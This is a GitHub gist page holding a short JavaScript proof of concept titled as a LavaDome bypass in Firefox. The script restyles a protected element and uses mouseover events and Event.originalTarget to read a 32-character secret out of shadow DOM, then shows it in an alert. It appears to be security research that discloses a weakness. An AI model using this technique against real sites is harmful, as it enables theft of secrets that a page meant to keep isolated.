-
-
Save masatokinugawa/eed31e3b03f99d44d2f446a166d327ad to your computer and use it in GitHub Desktop.
LavaDome bypass via Event.prototype.originalTarget (Firefox only)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let foundChars = ""; | |
PRIVATE.onmouseover = e => { | |
const originalTarget = e.originalTarget; | |
const host = originalTarget.parentNode.host; | |
if (host && Array.from(host.parentElement.children).indexOf(host) === 0) { | |
foundChars += originalTarget.innerText; | |
console.log(foundChars); | |
if (foundChars.length === 32) { | |
alert(foundChars); | |
} | |
host.remove(); | |
} | |
} | |
PRIVATE.style.position = "absolute"; | |
PRIVATE.style.top = "0"; | |
PRIVATE.style.left = "0"; | |
PRIVATE.style.padding = "0"; | |
PRIVATE.style.margin = "0"; | |
PRIVATE.style.fontFamily = "Consolas"; | |
PRIVATE.style.letterSpacing = "100vw"; | |
PRIVATE.style.fontSize = "100vw"; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment